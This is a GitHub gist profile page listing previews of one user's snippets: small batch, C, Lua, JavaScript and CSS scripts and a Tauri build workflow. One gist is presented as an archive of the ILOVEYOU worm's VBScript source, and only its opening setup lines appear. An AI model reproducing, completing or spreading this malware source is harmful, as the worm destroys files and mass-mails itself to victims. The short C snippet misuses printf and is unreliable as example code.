Skip to content

Instantly share code, notes, and snippets.

View tnhung2011's full-sized avatar
🙃
<- fuckign face

Vichy tnhung2011

🙃
<- fuckign face
View GitHub Profile
#include <stdio.h>
int main() {
for (char i = 0; i < 127; i++)
printf("%s", &i);
}
@echo off
echo ================
echo Despook Walliant
echo ================
cd %~dp0
:sdk
if not exist sdk.dll (
echo "sdk.dll not found"
@tnhung2011
tnhung2011 / build_windows.yml
Last active September 10, 2023 13:16
Builds Tauri applications for Windows (x64, x86), then draft a release
name: Build executable
on: workflow_dispatch
env:
name: PLACE_REPO_NAME_HERE
CARGO_TERM_COLOR: always
jobs:
build:
@tnhung2011
tnhung2011 / README.md
Created August 30, 2023 09:15 — forked from joyrexus/README.md
Vanilla JS equivalents of jQuery methods

Sans jQuery

Events

// jQuery
$(document).ready(function() {
  // code
})
@tnhung2011
tnhung2011 / grabUnusedFiles.js
Last active July 12, 2023 02:00
Grab unused files on a page of Special:UnusedFiles
Array.prototype.forEach.call([].slice.call(document.querySelector("#gallery-0").childNodes, 1), function(elem) {
console.log(decodeURI(/(File:.+?)\?/gm.exec(elem.childNodes[0].href)[1]));
});
@echo off
for /F "skip=2 tokens=3*" %%A in ('reg query "HKCU\Software\ROBLOX Corporation\Environments\roblox-player" /ve') DO (set robloxpath=%%A)
setlocal DisableDelayedExpansion
set splitter=\RobloxPlayerLauncher.exe
setlocal EnableDelayedExpansion
set LF=^
rem ** Two empty lines are required
@tnhung2011
tnhung2011 / taskkiller.bat
Created August 29, 2022 01:05
A simple batch script to terminate background tasks
@echo off
set args=%*
if [%args%] EQU [] (
tasklist
set /p args=Taskname to kill:^
)
taskkill /f /im %args%
@tnhung2011
tnhung2011 / APLIAFCLDTCITAMPAC.lua
Last active January 20, 2024 19:20
Simple implementation of the "A programming language is any set of rules that converts strings, or graphical program elements in the case of visual programming languages, to various kinds of machine code output." (abbreviated Programming Language or APLIAFCLDTCITAMPAC) programming language.
valid_string = 'A programming language is any set of rules that converts strings, or graphical program elements in the case of visual programming languages, to various kinds of machine code output.'
function file_exists(file)
local f = io.open(file, 'rb')
if f then f:close() end
return f ~= nil
end
function parse(command)
if command == valid_string then
@tnhung2011
tnhung2011 / LOVE-LETTER-FOR-YOU.TXT.vbs
Last active September 24, 2023 03:34
A generic archive of the "ILOVEYOU" trojan (https://en.wikipedia.org/wiki/ILOVEYOU) from the 2000s.
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
@tnhung2011
tnhung2011 / flippingpage.css
Last active February 13, 2022 01:09
Flip/mirror the whole page - it's a bit buggy especially when you're editing (CSS3's new feature)
/*credits: https://stackoverflow.com/a/14194532/17023061*/ body { -moz-transform: scaleX(-1); -o-transform: scaleX(-1); -webkit-transform: scaleX(-1); transform: scaleX(-1); filter: FlipH; -ms-filter: "FlipH"; }